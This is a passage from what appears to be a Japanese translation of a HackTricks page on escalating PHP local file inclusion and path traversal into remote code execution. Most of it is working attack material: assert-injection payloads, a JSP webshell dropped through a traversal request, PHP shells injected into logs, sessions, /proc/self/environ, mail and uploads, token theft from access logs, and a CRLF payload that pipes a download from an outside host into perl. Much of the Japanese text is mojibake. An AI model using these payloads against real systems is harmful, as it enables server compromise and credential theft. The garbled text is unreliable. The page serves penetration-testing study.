- ssh2:// â Secure Shell 2
- ogg:// â ãªãŒãã£ãªã¹ããªãŒã ïŒä»»æãã¡ã€ã«ã®èªã¿åãã«ã¯åœ¹ã«ç«ããªãïŒ
LFI via PHPâs âassertâ
âassertâ 颿°ã¯æååå ã®ã³ãŒããå®è¡ã§ãããããPHP ã«ããã Local File Inclusion (LFI) ã®ãªã¹ã¯ã¯ç¹ã«é«ããªããŸããç¹ã«ãâ..â ã®ãããªãã£ã¬ã¯ããªãã©ããŒãµã«æåãå«ãå ¥åãæ€æ»ããããé©åã«ãµãã¿ã€ãºãããŠããªãå Žåã«åé¡ã«ãªããŸãã
For example, PHP code might be designed to prevent directory traversal like so:
assert("strpos('$file', '..') === false") or die("");
ããã¯traversalã鲿¢ããããšãç®çãšããŠããŸãããæå³ããcode injectionã®ãã¯ã¿ãŒãäœæããŠããŸããŸãããããå©çšããŠãã¡ã€ã«ã®å 容ãèªã¿åãã«ã¯ãattackerã¯æ¬¡ã®ãããªãã®ã䜿çšã§ããŸã:
' and die(highlight_file('/etc/passwd')) or '
åæ§ã«ãä»»æã®ã·ã¹ãã ã³ãã³ããå®è¡ããã«ã¯ã次ã®ããã«äœ¿çšããŸã:
' and die(system("id")) or '
Itâs important to URL-encode these payloads.
PHP Blind Path Traversal
Warning
ãã®ãã¯ããã¯ã¯ãããªãã ãã¡ã€ã«ãã¹ ãå¶åŸ¡ã§ããPHP function ããã¡ã€ã«ã«ã¢ã¯ã»ã¹ãããããã®ãã¡ã€ã«ã®å 容ã衚瀺ãããªãïŒäŸãã°åçŽãª
file()ã®åŒã³åºãã®ããã«ïŒã±ãŒã¹ã«é¢é£ããŸãã
In this incredible post ã§ã¯ãblind path traversal ã PHP filter ãéããŠæªçšãããerror oracle ãä»ããŠãã¡ã€ã«ã®å 容ã exfiltrate ããæ¹æ³ã説æãããŠããŸãã
èŠçŽãããšããã®ææ³ã¯ âUCS-4LEâ encoding ã䜿çšããŠãã¡ã€ã«ã®å 容ãéåžžã«å€§ãããããã¡ã€ã«ãéã PHP function ã ãšã©ãŒ ãåŒãèµ·ããããã«ããŸãã
ãã®åŸãæåã®æåã leak ããããã«ãã£ã«ã¿ dechunk ã base64 ã rot13 ãšå
±ã«äœ¿çšãããæåŸã« convert.iconv.UCS-4.UCS-4LE ãš convert.iconv.UTF16.UTF-16BE ã䜿çšãããŠå
é ã«ä»ã®æåãé
眮ããŠãããã leak ããŸãã
Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
For the technical details check the mentioned post!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
ãã¡ã€ã«ãåãåã/ã¢ããããŒããããµãŒããŒåŽã®ã³ãŒãããä¿åå
ãã¹ããŠãŒã¶ãŒå¶åŸ¡ã®ããŒã¿ïŒäŸ: filename ã URLïŒã䜿ã£ãŠæ£èŠåãæ€èšŒãè¡ããã«çµã¿ç«ãŠããšã.. ã»ã°ã¡ã³ãã絶察ãã¹ãæå³ãããã£ã¬ã¯ããªããè±åºããä»»æã®ãã¡ã€ã«æžã蟌ã¿ãåŒãèµ·ããå¯èœæ§ããããŸãããã€ããŒãã web-exposed ãã£ã¬ã¯ããªã«é
眮ã§ããã°ãé垞㯠webshell ãé
眮ããŠèªèšŒäžèŠã® RCE ãåŸãããŸãã
Typical exploitation workflow:
- ãã¹/filename ãåãåããã£ã¹ã¯ã«å å®¹ãæžã蟌ã write primitive ãæã€ãšã³ããã€ã³ããããã¯ã°ã©ãŠã³ãã¯ãŒã«ãŒãç¹å®ããïŒäŸ: message-driven ingestionãXML/JSON ã³ãã³ããã³ãã©ãZIP extractors ãªã©ïŒã
- web-exposed ãã£ã¬ã¯ããªãç¹å®ãããäžè¬çãªäŸ:
- Apache/PHP:
/var/www/html/ - Tomcat/Jetty:
<tomcat>/webapps/ROOT/â dropshell.jsp - IIS:
C:\inetpub\wwwroot\â dropshell.aspx
- Apache/PHP:
- æå³ããã¹ãã¬ãŒãžãã£ã¬ã¯ããªãã webroot ã«æãåºã traversal ãã¹ãäœæããwebshell ã®å 容ãå«ããã
- é 眮ãããã€ããŒãã«ãã©ãŠãºããŠã³ãã³ããå®è¡ããã
Notes:
- æžã蟌ã¿ãå®è¡ããè匱ãªãµãŒãã¹ã¯éHTTPããŒãã§åŸ ã¡åããŠããããšãããïŒäŸ: TCP 4004 ã® JMF XML ãªã¹ããŒïŒãã¡ã€ã³ã® web ããŒã¿ã«ïŒå¥ããŒãïŒãåŸã§ããªãã®ãã€ããŒããé ä¿¡ããã
- Java ã¹ã¿ãã¯ã§ã¯ããããã®ãã¡ã€ã«æžã蟌ã¿ã¯åçŽãª
File/Pathsã®é£çµã§å®è£ ãããŠããããšãå€ããæ£èŠåã allow-listing ã®æ¬ åŠãæ ¹æ¬çãªæ¬ é¥ã§ããã
Generic XML/JMF-style example (product schemas vary â the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Hardening that defeats this class of bugs:
- æ£èŠåããããã¹ã«è§£æ±ºããallow-listed ããŒã¹ãã£ã¬ã¯ããªã®åå«ã§ããããšã匷å¶ããã
..ãabsolute rootsããŸãã¯ãã©ã€ãã¬ã¿ãŒãå«ããã¹ãæåŠããïŒçæããããã¡ã€ã«åãåªå ããã- ã©ã€ã¿ãŒãäœæš©éã¢ã«ãŠã³ããšããŠå®è¡ããæžã蟌ã¿ãã£ã¬ã¯ããªãé ä¿¡ã«ãŒãããåé¢ããã
Remote File Inclusion
åè¿°ã®ãšãããfollow this linkã
Via Apache/Nginx log file
If the Apache or Nginx server is vulnerable to LFI inside the include function you could try to access to /var/log/apache2/access.log or /var/log/nginx/access.log, set inside the user agent or inside a GET parameter a php shell like <?php system($_GET['c']); ?> and include that file
Warning
ã·ã§ã«ã« double quotes ã䜿ããš simple quotes ã®ä»£ããã«ãæåå âquote;â ã«å€æãããPHP ã¯ãšã©ãŒãçºçããããã以å€ã¯å®è¡ãããŸããã
ãŸãããã€ããŒããæ£ç¢ºã«æžã蟌ãããšã確èªããŠãã ãããããããªããšãPHP ã¯ãã°ãã¡ã€ã«ãèªã¿èŸŒããã³ã«ãšã©ãŒãèµ·ãããäºåºŠç®ã®ãã£ã³ã¹ã¯åŸãããŸããã
ããã¯ä»ã®ãã°ã§ãå¯èœã§ãããbe careful, ãã°å
ã®ã³ãŒãã URL ãšã³ã³ãŒããããŠãããš Shell ãå£ããããšããããŸããããã authorisation âbasicâ 㯠Base64 ã§ âuser:passwordâ ãå«ã¿ããã°å
ã§ãã³ãŒããããŸããPHPShell ã¯ãã®ãããå
ã«æ¿å
¥ã§ããå ŽåããããŸãã
Other possible log paths:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
ã¢ã¯ã»ã¹ãã°ãèªã¿åããGETããŒã¹ã® auth tokens ãåéããïŒtoken replayïŒ
å€ãã®ã¢ããªã¯èª€ã£ãŠ session/auth tokens ã GET çµç±ã§åãä»ããŸãïŒäŸ: AuthenticationToken, token, sidïŒãpath traversal/LFI ã«ãã£ãŠ web server logs ã«ã¢ã¯ã»ã¹ã§ããå Žåãaccess logs ãããããã® tokens ãçã¿åºã㊠replay ããããšã§èªèšŒãå®å šã«ãã€ãã¹ã§ããŸãã
How-to:
- traversal/LFI ã䜿ã£ãŠ web server access log ãèªã¿ãŸããããããå Žæ:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- äžéšã® endpoints ã¯ãã¡ã€ã«èªã¿åãã Base64-encoded ã§è¿ããŸãããã®å Žåã¯ããŒã«ã«ã§ãã³ãŒãããŠãã°è¡ã確èªããŸãã
- grep ã§ token ãã©ã¡ãŒã¿ãå«ã GET ãªã¯ãšã¹ããæ€çŽ¢ããŠå€ãååŸãããããã¢ããªã±ãŒã·ã§ã³ã®ãšã³ããªãã€ã³ãã«å¯Ÿã㊠replay ããŸãã
Example flow (generic):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
æ¬æã Base64 ã®å Žåã¯ãã³ãŒããããã£ããã£ãã token ã replay ãã:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
Notes:
- URLså ã®Tokensã¯ããã©ã«ãã§ãã°ã«èšé²ãããŸããproductionç°å¢ã§ã¯GETçµç±ã®bearer tokensãæ±ºããŠåãå ¥ããªãã§ãã ããã
- ã¢ããªãè€æ°ã®tokenåããµããŒãããŠããå ŽåãAuthenticationTokenãtokenãsidãaccess_token ã®ãããªäžè¬çãªããŒãæ¢ããŠãã ããã
- logsã«leakedããå¯èœæ§ã®ããtokenã¯ãã¹ãŠrotateããŠãã ããã
Via Email
Send a mail ãå
éšã¢ã«ãŠã³ã (user@localhost) ã«éãã<?php echo system($_REQUEST["cmd"]); ?> ã®ãã㪠PHP payload ãå«ããŠããŠãŒã¶ãŒã®ã¡ãŒã«ïŒäŸ: /var/mail/<USERNAME> ãŸã㯠/var/spool/mail/<USERNAME>ïŒã«includeããŠã¿ãŠãã ããã
Via /proc/*/fd/*
- 倿°ã®shellãã¢ããããŒãããïŒäŸãã°: 100ïŒ
- http://example.com/index.php?page=/proc/$PID/fd/$FD ãincludeãããããã§ $PID = ããã»ã¹ã® PIDïŒcan be brute forcedïŒããã³ $FD = ãã¡ã€ã«ãã£ã¹ã¯ãªãã¿ïŒcan be brute forced tooïŒ
Via /proc/self/environ
ãã°ãã¡ã€ã«ã®ããã«ãUser-Agent ã«ãã€ããŒããéããš /proc/self/environ ãã¡ã€ã«å ã«åæ ãããŸãã
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
ã¢ããããŒãçµç±
ãã¡ã€ã«ãã¢ããããŒãã§ããå Žåã¯ãããã« shell payload ãæ³šå
¥ããŠãã ããïŒäŸ: <?php system($_GET['c']); ?>ïŒã
http://example.com/index.php?page=path/to/uploaded/file.png
ãã¡ã€ã«ãèªã¿ãããä¿ã€ãããpictures/doc/pdf ã®ã¡ã¿ããŒã¿ã«æ³šå ¥ããã®ãæé©ã§ã
Via Zip fie upload
PHP shell ãå«ã ZIP ãã¡ã€ã«ãã¢ããããŒãããã¢ã¯ã»ã¹ïŒ
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
PHP sessions ãä»ããŠ
ãŠã§ããµã€ãã PHP Session (PHPSESSID) ã䜿çšããŠããã確èªãã
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
PHPã§ã¯ããããã®ã»ãã·ã§ã³ã¯ /var/lib/php5/sess\[PHPSESSID]_ ãã¡ã€ã«ã«ä¿åãããŸãã
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
cookie ã <?php system('cat /etc/passwd');?> ã«èšå®ããŠãã ãã
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
LFI ã䜿ã£ãŠ PHP ã®ã»ãã·ã§ã³ãã¡ã€ã«ãå«ãã
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
ssh çµç±
sshãæå¹ãªå Žåãã©ã®ãŠãŒã¶ãŒã䜿çšãããŠãããã確èªãã (/proc/self/status & /etc/passwd) ãšã<HOME>/.ssh/id_rsa ã«ã¢ã¯ã»ã¹ããŠã¿ãã
çµç± vsftpd logs
FTP ãµãŒã㌠vsftpd ã®ãã°ã¯ /var/log/vsftpd.log ã«ãããŸããLocal File Inclusion (LFI) è匱æ§ãååšããå ¬éããã vsftpd ãµãŒããŒã«ã¢ã¯ã»ã¹ã§ããå Žåãæ¬¡ã®æé ãæ€èšã§ããŸãïŒ
- ãã°ã€ã³æã®ãŠãŒã¶ãŒåãã£ãŒã«ãã« PHP ãã€ããŒããæ³šå ¥ããã
- æ³šå ¥åŸãLFI ãå©çšããŠãµãŒããŒãã° /var/log/vsftpd.log ãååŸããã
çµç± php base64 filter (using base64)
As shown in this article, PHP base64 filter just ignore Non-base64. ãããå©çšããŠãã¡ã€ã«æ¡åŒµåã®ãã§ãã¯ããã€ãã¹ã§ããŸãïŒæ«å°Ÿã â.phpâ ã§çµãã base64 ãæž¡ããšããã£ã«ã¿ã¯ â.â ãç¡èŠã㊠âphpâ ã base64 ã«ä»å ããŸãã以äžã¯ãµã³ãã«ãã€ããŒãã§ãïŒ
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
php filters çµç±ïŒãã¡ã€ã«äžèŠïŒ
This writeup ã¯ãphp filters ã䜿ã£ãŠä»»æã®ã³ã³ãã³ããåºåãšããŠçæã§ããããšã説æããŠããŸããã€ãŸããinclude ã«æž¡ã ä»»æã® php code ããã¡ã€ã«ã«æžã蟌ãããšãªãçæã§ãããšããããšã§ãã
segmentation fault ãå©çš
Upload ã㊠/tmp ã« temporary ãšããŠä¿åããããã¡ã€ã«ãçšæããåäžã® same request å
ã§ segmentation fault ãçºçããããšãtemporary file ãåé€ãããã«æ®ãããšãããããããããæ€çŽ¢ã§ããŸãã
LFI2RCE via Segmentation Fault
Nginx ã®äžæãã¡ã€ã«ä¿åçµç±
ãã Local File Inclusion ãçºèŠããã〠Nginx ã PHP ã®å段ã«åäœããŠããå Žåãæ¬¡ã®ææ³ã§ RCE ãåŸãããå¯èœæ§ããããŸã:
PHP_SESSION_UPLOAD_PROGRESS çµç±
session.auto_start ã Off ã§ã»ãã·ã§ã³ãæã£ãŠããªãå Žåã§ããmultipart POST ããŒã¿ã« PHP_SESSION_UPLOAD_PROGRESS ãå«ãããš PHP ãèªåçã«ã»ãã·ã§ã³ãæå¹ã«ããŸãããããæªçšã㊠RCE ãçãããšãã§ããŸã:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Windows ã®äžæãã¡ã€ã«ã¢ããããŒãçµç±
ãã Local File Inclusion ãçºèŠãããµãŒãã Windows äžã§åäœããŠããå ŽåãRCE ãåŸãããå¯èœæ§ããããŸã:
pearcmd.php + URL args ãå©çšããŠ
As explained in this postã/usr/local/lib/phppearcmd.php ã¹ã¯ãªãã㯠php docker ã€ã¡ãŒãžã«ããã©ã«ãã§ååšããŸããããã«ãURL ãã©ã¡ãŒã¿ã« = ãå«ãŸããªãå Žåã¯ãããåŒæ°ãšããŠæ±ããšãããŠãããããURL çµç±ã§ã¹ã¯ãªããã«åŒæ°ãæž¡ãããšãå¯èœã§ããSee also watchTowrâs write-up and Orange Tsaiâs âConfusion Attacksâã
以äžã®ãªã¯ãšã¹ã㯠/tmp/hello.php ã«å
容 <?=phpinfo()?> ã®ãã¡ã€ã«ãäœæããŸã:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
以äžã¯ CRLF vuln ãæªçšã㊠RCE ãååŸããäŸã§ãïŒåºå ž: here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
phpinfo() çµç± (file_uploads = on)
ãã Local File Inclusion ãèŠã€ããfile_uploads = on ãå ¬éããŠãã phpinfo() ãæã€ãã¡ã€ã«ãããã°ãRCE ãåŸãããŸã:
compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure çµç±
ãã Local File Inclusion ãèŠã€ãããã³ãã©ãªãã¡ã€ã«ã®ãã¹ã can exfiltrate the path ã§ããããserver ã checking ã㊠file to be included has PHP marks ãã©ãã確èªããŠããå Žåããã® Race Condition ã§ãã® bypass that check ã詊ãããšãã§ããŸã:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
eternal waiting + bruteforce çµç±
ãã LFI ãæªçšã㊠upload temporary files ãããµãŒããŒã PHP ã®å®è¡ã hang ãããããšãã§ããã°ãäœæéããããŠãã¡ã€ã«åã brute force filenames during hours ããŠãã³ãã©ãªãã¡ã€ã«ãèŠã€ããããšãã§ããŸã:
Fatal Error ã«è³ã
ãã /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar ã®ããããã include ãããšïŒåããã®ã2å include ããå¿
èŠããããŸãïŒããã®ãšã©ãŒãçºçããŸãã
ãããã©ãã»ã©åœ¹ç«ã€ãã¯åãããŸããããå¯èœæ§ã¯ãããŸãã
ããšã PHP Fatal Error ãåŒãèµ·ãããŠããã¢ããããŒãããã PHP ã®äžæãã¡ã€ã«ã¯åé€ãããŸãã
.png)
References
-
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
-
watchTowr â We need to talk about PHP (pearcmd.php gadget)
-
When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
-
Positive Technologies â Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


